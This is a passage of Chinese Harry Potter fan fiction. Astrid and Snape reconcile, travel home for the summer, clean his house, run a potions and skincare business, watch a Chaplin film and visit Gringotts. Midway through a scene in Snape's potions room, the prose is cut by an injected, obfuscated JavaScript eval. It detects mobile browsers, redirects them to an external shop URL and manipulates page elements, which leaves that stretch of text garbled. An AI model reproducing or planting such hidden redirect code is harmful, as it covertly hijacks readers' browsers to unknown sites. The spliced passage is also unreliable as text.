阿斯特丽德暂停忏悔,睁大眼睛看着他,然后伸手指了指他的头发,认真地说:“别掩饰了,西弗勒斯。你明明难过得都把头发遗留在原地了。我亲眼看见的,那撮头发在风里飘啊飘的,可怜极了。” 斯内普表情僵硬。 他下意识抬手摸了摸自己的头发——目前蓬松顺滑,没有任何被扯掉的痕迹。随即他的眉头皱了起来,脸上流露出一丝窘迫,随即被恼怒盖住。 “所以,你这一个月虽然不跟我说话,却一直在偷窥我练习?躲在宿舍窗台后面,像一只心怀不轨的猫头鹰,用你那点可怜的视力,记录着我每一根头发的去留?” 阿斯特丽德理直气壮地点点头,没有半分心虚:“我那是担心你发生不美妙的分体事件!出于关心才不得不偷窥的。如果不是你非要冷战,我原本是打算站在你的目标圆圈附近,迎接你的第一次幻影移形成功的。”她幽怨地看着他,语气里满是遗憾,“那该是多么值得纪念和庆祝的时刻啊,西弗勒斯。你人生中第一次成功的幻影移形,身边却没有我——想想就让人难过。” 斯内普的眸光微微闪动,语气有些古怪和别扭:“你打算怎么庆祝?” 阿斯特丽德一脸无辜:“那得视当时的情况而定——比如,一个拥抱?或者……”她无比诚挚地盯着他,“你更想来一个亲亲?” 斯内普的嘴唇抿紧了,直直地盯着她。他憋了半天,终于憋出一句硬邦邦的指控:“所以,这就是你选愚人节这天跟我道歉的动机?——选一个‘说什么都可以不作数’的日子,好方便事后抵赖?然后用这种方式……逗弄我?” 阿斯特丽德立刻摆出一副被冤枉的表情:“我怎么可能!我是很诚心诚意的!你难道感受不到我的诚意吗?” “那你证明。”斯内普顺畅地接话,然后悠哉地欣赏着她变幻莫测的表情。 阿斯特丽德愣了一下,渐渐浮现出恍然大悟的神色。 “你——”她指着他的鼻子,一脸震撼:“你居然是这样的斯内普。” 斯内普对她的控诉不置可否,只是安然地立在她对面,一眨不眨地看着她,等待她的证明。 阿斯特丽德鬼鬼祟祟地向桃金娘的方向投去一瞥——乳白色的幽灵正埋头在那堆花花绿绿的小说里,完全没有注意这边的动静。 她这才慢吞吞地挪近了两步,踮起脚,在他脸颊上轻轻亲了一口。 触感轻柔得像一片羽毛落在水面上,转瞬即逝。 斯内普的眼睛微微眯了起来,像是在品评这个“证明”是否足够有诚意。 “诚意勉强及格。”半晌后,他低沉地开口:“不过,考虑到你选择的日子是愚人节,我决定把这当作一个长期合同——允许你分期付款。” 他的脸上终于浮现出若有若无的笑意:“剩下的,下次再交。” 55. 放假回家 52. 时光是个狡猾的东西——它从不声张,却总在你回头时才让人惊觉已经走了多远。霍格沃茨城堡的窗玻璃从结满霜花到映出春日的嫩绿,再到被初夏的阳光晒得微微发烫,那些日子就像翻书页一样,哗啦啦地过去了。当六月末的风把禁林的树梢吹得沙沙作响,城堡走廊里开始弥漫起混杂着离别与期待的气息时,期末考试结束了,暑假的帷幕正在缓缓拉开。 霍格沃茨特快列车喷着白色的蒸汽,载着满满一车厢的学生轰隆隆地驶离站台。车窗外的风景从城堡塔楼渐渐变成连绵的山丘,又从山丘变成一望无际的田野,那些金黄色的麦田摇着波浪,在阳光下像一片片流动的颜料。车厢里弥漫着巧克力蛙和比比多味豆的味道,偶尔还能听到某个隔间里传来的噼啪爆炸声——大概是又有人在拆最新款的爆爆糖。 在列车中段的某个隔间里,一黑一白两个脑袋正凑得很近,近到几乎要碰到一起,两张成绩单并排铺在中间的小桌板上。 不同于以往在蜘蛛尾巷等斯内普回到家后的那种比对——那时候,他是魔法学校的尖子生,而她是麻瓜学校的尖子生,两人成绩并驾齐驱,谁也不能鄙视谁——现在的局面完全不同了。现在他们在同一所学校念书,而他作为前辈学长,理应享受来自成绩垫底的后辈学妹的仰望与敬畏。 斯内普那边,成绩单上一排的“O”,又圆又饱满,整整齐齐地排成一列,像一队等待检阅的士兵。每一个都在无声地炫耀着主人的优秀。 她这一边,除了魔法史是O,以及目前只涉及黑魔法概念和暗黑魔法生物的一年级黑魔法防御术是O之外,其余各科都没有成绩。 没有成绩。 只在每一科的空白处,用细心的、宽和的字迹写着同样的一句话:理论部分优秀,实操部分需再接再厉。 这意味着,她并没有把那根羽毛漂浮到及格线以上的高度,也没有把那根火柴变成肉眼可见的绣花针,更没有让坩埚里的药液呈现出教科书上描述的标准颜色。理论她都能背,但实操——她那点可怜的、不可再生的魔力,能怎么办? 斯内普的目光从那一排字上慢慢掠过,他什么都没说,却又仿佛把能说的话都说了。那无比沉静的眼神从“理论部分优秀”移到“实操部分需再接再厉”,又从那行评语移到她脸上,最后落在她耷拉的肩膀上,沉默本身就是一种态度。 阿斯特丽德双手合十,对着面前这位无偿提供了一整个学期一对一辅导的家教老师微微欠身,低头认罪般诚恳地开口:“我辜负了您的悉心指导,我很惭愧,斯内普教授。” 斯内普懒洋洋地往后一靠,把后背陷进车厢那有些陈旧的丝绒座椅里。他抱着胸,目光慢悠悠地扫过她头顶那撮永远不服帖的呆毛——它在车窗透进来的阳光里微微晃动,像一株倔强的小草。他欣赏够了,才大发慈悲地开口,拿腔拿调地配合着她的戏码:“作为你的指导教师,我认为有必要在此刻行使我的赦免权。毕竟,你的情况的确情有可原。至于实操部分……我建议你把目光放长远一些。毕竟,等你活到萨其马那个年纪,那点实操成绩也就没人记得了。” 萨其马正悠闲地游走于两人摊在桌上的成绩单之间,它从一排“O”上爬过,又在那行“理论部分优秀”上停留了片刻,最后心满意足地趴在小桌边缘,把脑袋搁在窗框上,透过玻璃望着外面飞速掠过的田野。 它耳朵上挂着那副袖珍耳机,里面正播放着节奏轻快的乡间小调。它的尾巴尖随着音乐的节奏轻轻摆动,整条蛇都非常惬意。毕竟,这是它时隔多年后第一次离开霍格沃茨的范围,第一次坐上火车。对于一个在地下密室里困了千年的老蛇来说,这一切都新鲜得像另一个世界。 ‘乡间的风,自由的风~’它哼着歌,尾巴尖的摆动幅度更大了些,‘老萨其马要去见世面了~’ 阿斯特丽德瞥了它一眼,笑呵呵地摸了摸它的头顶。 整个车厢里,只有他们这个隔间和谐安宁。窗外的阳光洒进来,把一切都烘烤得懒洋洋的。外面的风景飞速后退,绿色的田野、白色的羊群、偶尔掠过的小村庄,就像一张张被快速翻动的明信片。车厢里偶尔传来车轮碾过铁轨的咣当声,混着萨其马若有若无的哼唱,织成慵懒的、让人昏昏欲睡的旋律。 “对了,”阿斯特丽德忽然开口,“到家之后,我想把咱们那个简易操作间再扩大一点,不如把客厅也利用起来?反正现在那间屋子你一个人住,空间应该够用。” 斯内普思索着点头:“可以。不过需要先清理一下那间储藏室——就在楼梯下面。那里面的杂物堆了很多年,正好趁这个机会处理掉。” “还有萨其马的窝。”阿斯特丽德补充道,目光落在正陶醉在音乐里的小蛇身上,“瑞娜姑妈肯定不会允许它进门的,所以它暑假期间只能跟着你住,得给它做个像样的窝。” 斯内普的目光也落在萨其马身上:“它最近不是喜欢你淘汰掉的那个毛绒抱枕吗?给它改造成迷你版的,放在我床头就行。” 阿斯特丽德正要点头,忽然整个人一僵,随即猛地坐直身子,眼睛瞪得老大,露出濒死般的表情:“糟——糕。” 斯内普挑起一边眉毛,等着她的下文。 “我离开的时候太匆忙了——”她的声音越来越小,越来越心虚,“我好像……忘记倒垃圾了。” 斯内普的眉毛挑得更高了。 “那些垃圾……”阿斯特丽德艰难地咽了口唾沫,“在你家里已经发酵了九个月。” 沉默。 沉默持续了一分钟。 斯内普微微偏过头,看着她心虚的脸,语气平平地吐出一句话:“所以你的意思是,当我们推开那扇门的时候,迎接我们的将是一个全新的生态系统?一个由九个月的食物残渣和蜘蛛尾巷特有的霉菌共同培育出来的、足以申报神奇生物保护司认定的新物种?” 阿斯特丽德缩了缩脖子,没敢接话。 萨其马从车窗边扭过头来,表情里满是困惑——它听不懂刚才那番话的含义,但从两人的表情来看,它隐约觉得,自己即将入住的新家,可能跟它想象的有些不一样。 而就在他们这个隔间之外,整个列车的其他车厢里,完全是另一番景象。 那些隔间里,学生们三三两两地凑在一起,压低声音窃窃私语。嗡嗡嗡的声音像一群蜜蜂,从车厢的各个角落传来,偶尔还会爆发出压抑不住的惊呼或笑声。那些声音被列车的轰鸣压着,听不真切,但里面的兴奋和八卦劲头,隔着一排排座椅都能感觉到。 阿斯特丽德和斯内普对此心知肚明。 最新二十期的《纯血溯源》已经陆续发布,之前的那些发家史,也早就从霍格沃茨流传到了整个英国魔法界。 而在这些热火朝天的讨论之外,更多的人开始把注意力转向一个更核心的问题—— 到底是谁干的? 阿斯特丽德当然早就预料到了这一点。所以在离校前发布的最后一期文章里,她在结尾处这样写道: “……凡此种种,细心的读者或许已经发现,这些尘封已久的往事,并非来自同一源头。事实上,据可靠消息透露,这一系列故事之所以能浮出水面,与某位不愿透露姓名的特拉弗斯家族成员有着千丝万缕的联系。这位成员对去年圣诞节前某次事件中,莱斯特兰奇家族对其应得利益的侵占耿耿于怀,遂与数个同样心怀不满的家族暗中联手,共同推动了这一系列‘纯血溯源’的问世。 至于特拉弗斯家族何以掌握如此之多的秘辛,那就不得不提他们的叔祖父——托基尔·特拉弗斯了。这位曾担任威森加摩成员、在格林德沃之乱期间为维护魔法部统治秩序立下汗马功劳的老先生,当年曾利用职务之便,暗中搜查了不少家族的利益纠葛和暗中往来项目。他当时这么做,固然是为了对抗格林德沃,搜集各方情报,堪称情有可原。但恐怕连他自己也没想到,那些尘封多年的档案,有朝一日会被自己的孙辈后代用来施展一场针对纯血家族的‘正义制裁’。” 文章一出,风向立刻大变。 原本只是吃瓜看戏的观众们,忽然发现自己有了新的关注点。在靠近车尾的某个隔间里,几个高年级的学生正凑在一起讨论: “你看了最新那期吗?”一个拉文克劳的女生压低声音问同伴,“第二十期——特拉弗斯家族!我就说嘛,那么多秘辛,怎么可能没有来源?” 同伴拼命点头,脸上的兴奋怎么也压不住:“看到了看到了!所以这一切都是特拉弗斯家在背后搞鬼?因为莱斯特兰奇家在追捕某位凤凰社成员的时候,抢了他们家的功劳,还在生意上瓜分了本该属于他们的利益?” “也不一定是主使,可能就是提供资料的。”另一个赫奇帕奇的男生凑过来,也加入讨论,“托基尔·特拉弗斯确实是当年对抗格林德沃的主力,他手里有那些档案不奇怪。” “莱斯特兰奇家那两位气得够呛,”那位拉文克劳的女生继续八卦,“据说那位大人在上周的集会上,亲自动手赏了他们一人一个钻心咒。” 几个人同时倒吸一口凉气,却又忍不住继续往下问:“然后呢然后呢?” “特拉弗斯家当然不肯认账。”另一个隔间里,某位面色阴沉的高年级斯莱特林也正跟同伴说到此处:“我父亲说,前阵子有几个家主在马尔福庄园碰头,当场质问特拉弗斯家的人。结果你猜怎么着?那位被质问的特拉弗斯当场就急了,说‘你们凭什么认定是我?我们特拉弗斯家就算有不满,也不至于用这种方式!’” “然后呢?” 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而更远一些的某个隔间里,一个戴着眼镜的男生正低声跟同伴分享从傲罗办公室工作的表哥那里听来的消息:“魔法部那边也很乱。威森加摩说没有原告就不立案,魔法法律执行司说这属于家族内部事务——反正谁都不想沾这个烫手山芋。” “那傲罗办公室呢?” “傲罗不管这个。”那男生耸耸肩,“他们说,除非有人实名举报并提交证据,否则他们无权介入纯血家族的内部纠纷。但问题是——谁会实名举报?那不是找死吗?” 周围的几个人交换了一个心照不宣的眼神。 窗外的风景飞速后退,那些窃窃私语随着列车的行进在各节车厢里蔓延。添油加醋,变形走样,最后谁也分不清哪些是真的,哪些是假的。没有人注意到,在某个不起眼的隔间里,一个黑色头发的身影和一个白金色头发的身影正凑在一起,面前摊着几张羊皮纸,低声讨论着他们之间的小秘密。 “卢修斯又来找过你几次?”阿斯特丽德用只有两人能听见的声音问。 斯内普微微点头:“四次。名义上是了解霍格沃茨内部的风向,实际上是想确认那些秘辛到底有没有更深层的来源。他甚至还暗示,如果我知道什么有价值的消息,那位大人会很高兴。” 阿斯特丽德对此没有任何意外。她早就料到会有这一天——那些纯血家族不是傻子,他们早晚会开始调查。而她能做的,就是在他们调查的方向上,巧妙地放上几个烟雾弹。 “所以后面几期的内容要再小心斟酌,”斯内普继续说,语气难得严肃起来,“不能透露出任何可能让人怀疑到你身上的线索。另外——”他忍不住讽刺:“我还得加大工作量。在复制那些羊皮纸的同时,多增加几层防探测和追溯的咒语,以期保护某个麻瓜不被纯血家族们悄无声息地干掉。” 阿斯特丽德闻言,立刻双手合十,脸上堆满了谄媚的笑容:“哎呀,真是太感谢了!亲亲西弗你真是太好了!你放心,等咱们的A.S报业正式成立,我一定让你当CEO!以后整个报业都交给你全权打理!” “A.S报业?”他慢悠悠地问:“什么时候的事?” “就在刚才。”阿斯特丽德干劲满满,“我正式任命你为总编辑,全权负责内容的防追溯加密。” “A.S报业,很好。所以除了要当活体生产线、活体广告牌、活体专利技术研发中心之外,我现在还要兼任活体编辑部?”他的眼睛微微眯起,“我得提醒你,董事长女士,按照麻瓜的劳动法,一个人同时担任这么多职位,是要拿五倍工资的。” 阿斯特丽德脸上立刻浮现出“你怎么这么见外”的委屈表情。 “可我还正打算把你这位男士护肤系列代言人的写真照,刊登在咱们的A.S报业创刊号上——配合广告语一起发布。” 斯内普下意识坐直了些,眼里充满警惕:“什么广告语?” 阿斯特丽德清了清嗓子,用播报重大新闻的庄重语气宣布:“斯内普一世亲测有效——从阴沉黑眼圈到容光焕发,他只用了A.S男士护肤系列。你,也可以。” 斯内普端正地坐在那里,直直地盯着她,脸上是不加掩饰的、被这段广告词震撼到的微妙崩溃。 “第一,我不会让自己的脸出现在任何印刷品上,除非那东西叫《通缉令》。第二,如果真有那么一天,广告语应该换成:‘用了A.S男士系列,你就可以像我一样——即使业绩翻了三百倍,依然被董事长按在流水线上加班。’” 他幽幽地盯着她:“这才符合我们企业的核心价值观。” 窗外,夏日午后的阳光正盛。列车轰隆隆地向前,把那些窃窃私语和纯血家族的恩怨都甩在身后。萨其马趴在车窗边,继续哼着它的乡间小调,尾巴尖随着音乐的节奏轻轻摆动,对身后那场关于广告语的激烈交锋浑然不觉。 56. 暑期日常 53. 萨其马活了九百多年,经历过被当成怪物驱逐的童年,还有在潮湿阴暗的管道里独自挨过漫长世纪的中年,甚至饥一顿饱一顿、连老鼠都要省着吃的晚年——但它以为,那些都已经是过去式了。它以为从今往后,等待它的将是温暖的壁炉、柔软的抱枕、以及时不时就能喝到的黄油啤酒。 它曾坚信,它这辈子都不会再住进充满腐朽气味和潮湿霉斑的房间了 看来它还是太天真了。 萨其马此刻正盘踞在蜘蛛尾巷二十三号门口,矜持地没有把尾巴尖跨进去哪怕一毫米。它扬起脑袋,关切地望向站在门内的斯内普,发出一阵困惑的嘶嘶声:‘你这里……也不通风吗?’ 单纯的萨其马显然默认了一个可怕的假设——它以为斯内普跟它一样,不洗澡、不打扫房间、甚至不冲厕所,并且在床底下埋藏了许多死老鼠当作储备粮。 这太不妙了。 事实上,这令人绝望。 而斯内普根本无暇为自己辩驳。 因为那股气味正从门内源源不断地涌出来——从那九个月没倒的垃圾桶开始,逐渐蔓延到整个客厅、厨房、楼梯间,最后形成一股肉眼几乎能看见的、灰绿色的、带着霉斑和腐败颗粒的恶臭洪流。那股气味里混合着发霉的面包、腐烂的果皮、变质的牛奶、以及一些无法辨认来源的粘稠液体,它们共同作用了九个月,已经形成了一个完整的、自给自足的生态系统。 如果非要形容的话,就像是把几只死老鼠、一桶发霉的抹布、一锅馊掉的剩菜、还有半袋受潮的旧报纸,全部塞进一个密封的铁桶里,在太阳底下暴晒几个月后打开。而那个铁桶,此刻正以扩音器的效果,对着他的脸猛吹。 而某个罪魁祸首此刻正蹲在路边,对着下水道“yue”个不停。她一边吐一边抬起手,用虚弱无力的语气为自己辩护:“我只是一介柔弱不能自理的麻瓜——”她脸色发白,但理直气壮,“哦亲亲西弗,我连羽毛都飘不起来,怎么能用好清理一新呢?” 斯内普站在门口,咬着牙大声说:“那你至少可以用抹布擦!用拖把拖!或者最起码——动手把这些垃圾装进新的袋子里拎出去扔掉!这不需要魔法!这只需要你长着手!” 阿斯特丽德抬起头,因为呕吐而有些苍白的脸上满是委屈和无辜:“可是……明明用清理一新更快。” 斯内普沉默下来。 他站在敞开的门口,身后是散发着绝望气息的房间,面前是理直气壮的罪魁祸首,中间隔着一条灰扑扑的蜘蛛尾巷街道。午后的阳光懒洋洋地照下来,把一切都镀上慵懒的金色,唯独那扇门里涌出来的气味,固执地拒绝被任何美好的事物掩盖。 斯内普终于抽出魔杖,屏住呼吸踏进了那间屋子,开始认命地承担起一个男主人的责任——把家打扫好,再邀请尊贵的客人们入住。 至于他在心里是怎么咒骂的,没有人知道。只有偶尔从门里飘出来的、低沉而含混的咕哝声,隐约能让人猜到他此刻的心情——那些咕哝里包含了“该死的麻瓜”、“九个月的垃圾”、“我为什么要认识她”、“活体生产线还要当免费保洁”等一系列词汇,排列组合,花样翻新,足以编成一本《斯内普骂人语录大全》。 半个小时后,在喷了整整一瓶香茅味道的驱虫剂、施了七八个清理一新、又让所有窗户敞开通了将近二十分钟风之后,那股绝望的气息终于被压下去了一些。阿斯特丽德这才心虚地快走进屋子,和萨其马一起坐在那张嘎吱作响的旧沙发上。沙发上的霉味已经被香茅味覆盖了,取而代之的是混合过后的刺鼻清香。 萨其马很老实,没有像往常那样兴奋地到处乱窜。它秉持着做客的基本礼仪,矜持地俯身碰了碰小茶几上那杯刚倒好的水,然后抬起头,对着正在擦手的斯内普发出一阵温和的嘶嘶声:‘感谢你的招待,西弗勒斯。’ 斯内普放下手里的纸巾,微微欠身还礼,姿态很是优雅得体,配上他刚劳动完还有些微红的脸色,有种奇异的反差感。 ‘不客气,稍后我会带你上楼参观卧房——如果你不介意的话,那里目前只有一张单人床和一个毛绒抱枕。当然,如果你有别的需求,可以随时提出。’ 萨其马满意地点点头,继续俯身去喝水。 阿斯特丽德原本是要回自己家吃饭的,但考虑到斯内普家此刻没有任何食材、更没有任何现成的食物,便看向正在整理魔药材料的斯内普,提议道:“去买点东西吧。面包、火腿什么的,随便做点晚餐。” 斯内普抬起头,两人对视了一眼, 都从对方的目光里读到了同一个念头:要是这里也有“撑了么”就好了。 阿斯特丽德甚至幽幽地开口,带着满满的、开拓新市场的渴望:“你说,如果我们在平台上招募钟点工,提供上门清扫服务的暑期兼职,会不会有人接单?无论是巫师还是麻瓜,肯定都很需要这项服务。叫‘扫了么’怎么样?” “先把今晚的晚饭解决,再考虑你的商业帝国。”斯内普打断她,拎起购物袋往外走。 采购回来的东西很简单:新出炉的吐司面包,一盒鸡蛋,一瓶番茄肉酱,还有一根黄瓜。萨其马强烈要求尝尝番茄味的薯片和罐装可乐,阿斯特丽德也给它买了两份。 回到家后,两人在厨房里忙活起来——阿斯特丽德把面包切成片,斯内普负责煎鸡蛋和加热肉酱;她把黄瓜切成薄片,他就负责把它们整齐地码在面包上。萨其马趴在料理台边缘,监督着整个制作过程,偶尔发出一两声点评的嘶嘶声。 当简易三明治终于做好时,外面的天色已经暗下来了。两人一蛇围坐在小小的餐桌旁,就着昏黄的灯光,解决了这顿简单的晚餐。 接下来的日子,就这样晃晃悠悠地开始了。 阿斯特丽德每天早上来斯内普家报道,两人各占桌子一角,他熬他的魔药,她写她的配方,偶尔拌几句嘴,或者交换一个眼神。晚餐后她才回自己家,踩着蜘蛛尾巷坑坑洼洼的人行道,穿过那些昏黄的路灯,消失在十九号破旧的门后。 她还给老约翰的杂货店提供了几款驱虫剂和经典女士护肤系列的产品。老约翰一开始还对驱虫剂将信将疑,但在试用了一周之后,立刻上架了那些产品。至于驱虫剂里到底有什么成分,阿斯特丽德当然没说。反正说白了就是一锅化学制剂,有效成分蛇怪的毒液含量微乎其微,就算魔法部要来查,也查不出那是什么东西——毕竟连蛇怪都没有,怎么可能有蛇怪的毒液?所以他们大可以放心大胆地宣称,那就是A.S自研的明星成分,独家专利,无可奉告。 斯内普比她忙得多。 除了制作和改良那些产品之外,他还接了一个大单。卢修斯·马尔福亲自下的单,数量不小,用途却含糊其辞。两人都心知肚明是那位大人需要的,但谁也没说破。斯内普只是按部就班地熬制、装瓶、打包,让那只高傲的猫头鹰一趟趟地往威尔特郡飞去。 阿斯特丽德对此从不多问。 她想的很开——反正当初斯内普也不是没当过食死徒,他这次当不当,她都无所谓。她只需要确保他别最后又被伏地魔杀了就行。其他的,随他去。他在那边积累人脉也好,真的为伏地魔效力也好,那是他自己的选择。 她只在乎一件事——他活着。 不过某天夜里,她正坐在客厅里研究一款新护手霜的配方——针对长期接触魔药、需要频繁处理材料的人士的专业护手霜,要兼顾防护和滋养,还不能影响抓握魔杖和刀具的手感——忽然闻到从魔药间飘出来的一股气味。 魔药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334626|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间的门虚掩着,里面飘出来的气味有些古怪,不同于往常那些熟悉的草药味和溶剂味,这些气息更幽深、更飘忽。她仔细分辨了片刻,确定是稳定灵魂之类的药剂, 她放下羽毛笔,走过去倚在门框上,看着那个正在坩埚前忙碌的背影,“问你个问题,食死徒是不是都挺颠的?” 斯内普手里动作没停,只回头看了她一眼:“为什么这么问?” “随便猜的。”她耸了耸肩,目光落在那锅咕嘟冒泡的药液上,“那些不可饶恕咒会伤害灵魂,所以他们需要大量的灵魂稳定剂——这我知道。但再高明的灵魂稳定剂,肯定也不能完全修补多次使用不可饶恕咒带来的伤害吧?所以食死徒越来越颠,是必然的结果。” 说到这里,她明显很困惑:“那这份工作,不就是个高级耗材的工作吗?有什么可狂热的呢?” 斯内普垂下眼帘,盯着那锅液体,似乎在思考着合适的答案。 “因为不是每个人都能看到自己正在变成耗材。那些人在使用不可饶恕咒的时候,感受到的是力量——绝对的、凌驾于他人之上的力量。那种感觉会上瘾,比任何魔药都容易上瘾。等到他们意识到自己在付出什么代价的时候,已经来不及了。”他转过身来看着她,“而且,那位大人不会让他们有时间去思考这些。” 阿斯特丽德沉默了一会儿,然后问出另一个问题:“灵魂的损伤势必会影响脑垂体的激素分泌——人的情绪、认知、甚至行为方式,都受激素调控。我在想,你要不要考虑研究一下新型灵魂稳定剂?比如结合麻瓜的脑科学,巫麻结合,说不定疗效更好。” “你的思维方式,有时候让我怀疑你的大脑构造是不是和别人不太一样。” 他的目光重新落回那锅药液上,“不过,如果你说的方向是对的,我以后有闲暇的话,确实可以考虑。但眼下不行——”他看了一眼堆积在墙角等待包装的成品,“我快累死了。所以这个伟大的科研项目,麻烦你暂时搁置。” 阿斯特丽德摸摸鼻子,默默退回到客厅,坐回她原来的位置,假装刚才没有听见技术骨干的抱怨。 八月初的一个清晨,阿斯特丽德满十七岁了。 在巫师的概念里,她成年了。 那天一早,她特意打扮了一番。魔法梳在头发上穿梭,打造出精致的编发,彩色的发带混在发丝里若隐若现,还有零星的珍珠点缀其间。她穿了一条黑色的无袖连衣裙,剪裁精良,大方简约,领口同样镶着一圈珍珠。她还穿了高跟鞋——细跟踩在地板上咯噔咯噔的,节奏清脆,像是某种宣告。 她踩着咯噔咯噔的节奏,穿过坑坑洼洼的街道,来到二十三号门前。推开门的时候,她故意让门完全打开,好让里面的人和蛇都能看到她这一身装扮。 斯内普正坐在客厅里看报纸,萨其马趴在他肩膀上,跟着耳罩里的音乐轻轻摆动尾巴。听到推门声,一人一蛇同时抬起头,目光落在门口那个盛装打扮的身影上。 萨其马发出一阵惊叹的嘶嘶声:‘哦!你今天好漂亮!像那个……童话里的公主!’ 斯内普的目光从她头顶的编发慢慢移到她的高跟鞋上,最后落回她脸上:“今天有什么安排?” 阿斯特丽德眉眼弯弯,脸上满是灿烂的笑意:“首要任务是带萨其马去看电影。有个卓别林的喜剧片重映。你要一起吗?” 斯内普站起身:“我已经把今天空出来了。” 阿斯特丽德的笑容更灿烂了,她走上前,自然地挽住他的胳膊,笑盈盈地看着他:“那还等什么?出发。” 斯内普低下头看了她一眼——她编发里那些小珍珠在阳光下闪闪发光。他微微侧过身,把萨其马塞进口袋里,然后举起魔杖,带着他们三个一起消失在蜘蛛尾巷灰扑扑的空气中。 57. 来个拥抱吗? 54. 银幕上的光在黑暗中明明灭灭,将那些默片时代的表情凝固成一张张永恒的面孔。 查理·卓别林饰演的老艺人,在舞台上完成了最后的表演,然后倒在聚光灯下和掌声里。那是一个安静的死亡,没有嚎啕,没有挣扎,只有一盏渐暗的追光灯,把最后定格的身影慢慢收进黑暗里。 字幕缓缓浮现—— “世界就像一个巨大的马戏团,它让你兴奋,却让我惶恐,因为我知道散场后永远是——有限的温存,无限的辛酸。” 阿斯特丽德侧过头,看向身边的斯内普。 银幕上的光映在他脸上,把他的轮廓勾勒得忽远忽近。他眼里倒映着缓缓滚动的字幕,神色沉静。 她忽然想起很多事——他成为校长后反复使用的呼神护卫,还有他每一次深夜幻影移形时身心俱疲的波动。那些零散的碎片,在这一刻拼成了一幅完整的画面。 他见过这个世界最热闹的马戏,却只记住散场后的空寂。 一生只抓住那么一点点温存,剩下全是漫长、沉默、无人知晓的孤独。 这就是西弗勒斯·斯内普。 电影散场了。放映厅里的灯光亮起来,把沉浸在剧情里的观众拉回现实。人们陆续起身,低低地议论交谈着,往外走去,窸窸窣窣的声响把静谧的空气搅得支离破碎。阿斯特丽德把那些念头压回心底,抱着半桶没吃完的爆米花站起来。 他们随着人流往外走,穿过昏暗的走廊,推开影院的木门—— 盛夏上午的阳光劈头盖脸地砸下来,把刚从黑暗里走出来的人照得有些恍惚。 斯内普微微眯起眼睛,停留在台阶上,让那股热浪把自己整个人包裹起来。街上车水马龙的喧嚣扑面而来,几个穿着花裙子的姑娘笑着从他们身边经过,一串银铃般的笑声洒在空气里。 那部电影的结局还沉沉地压在心口,但此刻的阳光和喧嚣又在提醒他,那是另一个世界的事。 他转过头,看向旁边那个正往嘴里塞爆米花的人。 “下一站?” 阿斯特丽德嚼着爆米花,一边用手捏起一颗喂给从她衣兜里探出脑袋的萨其马,笑呵呵地开口:“对角巷。” 她今早刚收到通知书——虽然大部分课本可以直接用斯内普的,但黑魔法防御术这门课,一年换一个教授,一年换一本教材,谁也逃不掉。而且斯内普也要买七年级的教材了,他们还得补充很多魔药材料。总之,这一趟非去不可。 于是又一道轻微的空气爆破声之后,他们直接站在了古灵阁外。 这一次,他们不再是需要把所有零钱凑在一起才能买得起一根魔杖的穷酸鬼了。 他们是初级VIP客户。 刚迈进那扇青铜大门,就有穿着考究的妖精迎上来,彬彬有礼地引他们穿过熙熙攘攘的大厅,走向侧面的接待区。那里摆着几张小圆桌,铺着深红色的绒布,每张桌上都放着两杯冰红茶——杯壁上凝着一层细密的水珠,杯沿还插着一片薄荷叶,浓淡刚好,温度刚好,一切都刚好。 接待他们的是一只戴着金丝边眼镜的妖精,头发梳理得一丝不苟,领结打得端端正正。它微微欠身,示意两人在圆桌旁落座,然后自己也在对面坐下。 “请问二位是来办对公业务还是对私业务?”它彬彬有礼地询问,精明的眼神在两人脸上快速扫过。 “对公。”女声。 “对私。”男声。 两人同时开口,又同时顿住,对视了一眼。 妖精经理露出一个职业性的笑容,从容提议:“那我们先办对公业务吧,那个手续比较繁琐。稍后我会请我的同事来为斯内普先生处理对私业务,二位意下如何?” 两人自然没有意见。 斯内普被另一只妖精引去柜台,很快坐上一辆小翻斗车,哐当哐当地往地下深处驶去。阿斯特丽德则继续坐在VIP区,在妖精经理的指导下,用魔杖验证着一道道手续——签名,按押,魔力波动认证,家族徽记(她没有,用A.S品牌商标代替),取款额度确认。一套流程走下来,她成功从那堆金加隆里取出一部分资金,打算趁今天在对角巷租个小店面,算是送给自己的生日礼物。 坐在小翻斗车上往下驶的时候,她总觉得自己是一个黄金矿工,即将去开采什么不为人知的宝藏。 属于地下深处的气息扑面而来——潮湿的、古老的、混合着金属和灰尘的味道。矿车沿着轨道一路向下,穿过一个个黑黝黝的洞穴,经过一扇扇厚重的金属门,那些门上的魔法锁链在矿车经过时会自动亮起,然后又熄灭。 在某个路段转弯时,她也的确嗅到了不知名宝藏的气息——阴冷、飘忽,带着一股让人不舒服的腐朽味道。 那感觉太熟悉了——跟当初在有求必应屋附近感知到拉文克劳冠冕时一模一样。 此刻,那股要死不活的、阴恻恻的魔法气息,正从深不见底的下方飘上来,伴随着断断续续的、幽灵般的碎碎念: ‘金杯……我的金杯……谁敢动我的金杯……’ ‘……主人……多久没来看了……’ ‘那块宝石不错……可以镶嵌在王座上……’ 阿斯特丽德朝翻斗车下面的空旷深渊望去什么都看不见,只有无边的黑暗和偶尔掠过的、被施了强力防护咒的金库大门。那声音就是从某个更深的金库里传出来的,隔着重重防护,依然固执地钻进她的感知里。 “有什么问题吗,杜兰特小姐?”妖精经理的余光显然捕捉到了她的动作。 阿斯特丽德收回视线,脸上浮现出恰到好处的微笑:“只是好奇,这下面到底有多深?感觉像永远都到不了底似的。” 带路的妖精经理微微扬起下巴,笑容里带着职业性的自豪和得意:“古灵阁从很久很久以前就存在了,杜兰特小姐,比你们巫师那所城堡还要早得多。我们妖精一直秉持着‘诚信为本、合作共赢’的理念,与巫师们建立了良好的合作关系。那些越深的金库,越是古老悠久的大家族的——比如您刚才看的那几层,都是中世纪就存在的家族金库。他们的安保等级很高——各种防贼咒语、防探测魔法、空间折叠陷阱,应有尽有。但他们对妖精很信任,把几代人的财富交给我们守护。您可以放心,在古灵阁,您的财产绝不会丢失半个铜纳特。” 